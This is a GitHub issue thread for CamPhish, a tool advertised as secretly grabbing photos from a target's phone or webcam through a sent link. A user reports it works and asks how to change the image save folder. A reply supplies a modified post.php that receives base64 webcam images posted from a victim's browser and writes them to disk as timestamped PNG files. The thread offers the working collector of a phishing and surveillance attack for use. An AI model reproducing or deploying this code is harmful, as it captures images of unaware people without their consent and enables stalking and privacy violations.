techchipnet / CamPhish

Grab cam shots from target's phone front camera or PC webcam just sending a link.
GNU General Public License v3.0
2.97k stars 821 forks source link

HOW TO CHANGE DOWNLOADED IMAGE DIRECTORY? #151

Open Rootman55 opened 1 year ago

Rootman55 commented 1 year ago

Great tool everything working fine for me at the moment just wondering how to change the default directory where the .png file saves.Thanks for your time

krittakondev commented 1 year ago

you can use this fork https://github.com/krittakondev/CamPhish or use change this code in post.php

<?php

$date = date('dMYHis');
$imageData=$_POST['cat'];
$output_dir="out/";

if (!empty($_POST['cat'])) {
error_log("Received" . "\r\n", 3, "Log.log");

}

$filteredData=substr($imageData, strpos($imageData, ",")+1);
$unencodedData=base64_decode($filteredData);

if (!file_exists($output_dir)) {
    mkdir($output_dir, 0777, true);
}

$fp = fopen( $output_dir.'cam'.$date.'.png', 'wb' );
fwrite( $fp, $unencodedData);
fclose( $fp );

exit();
?>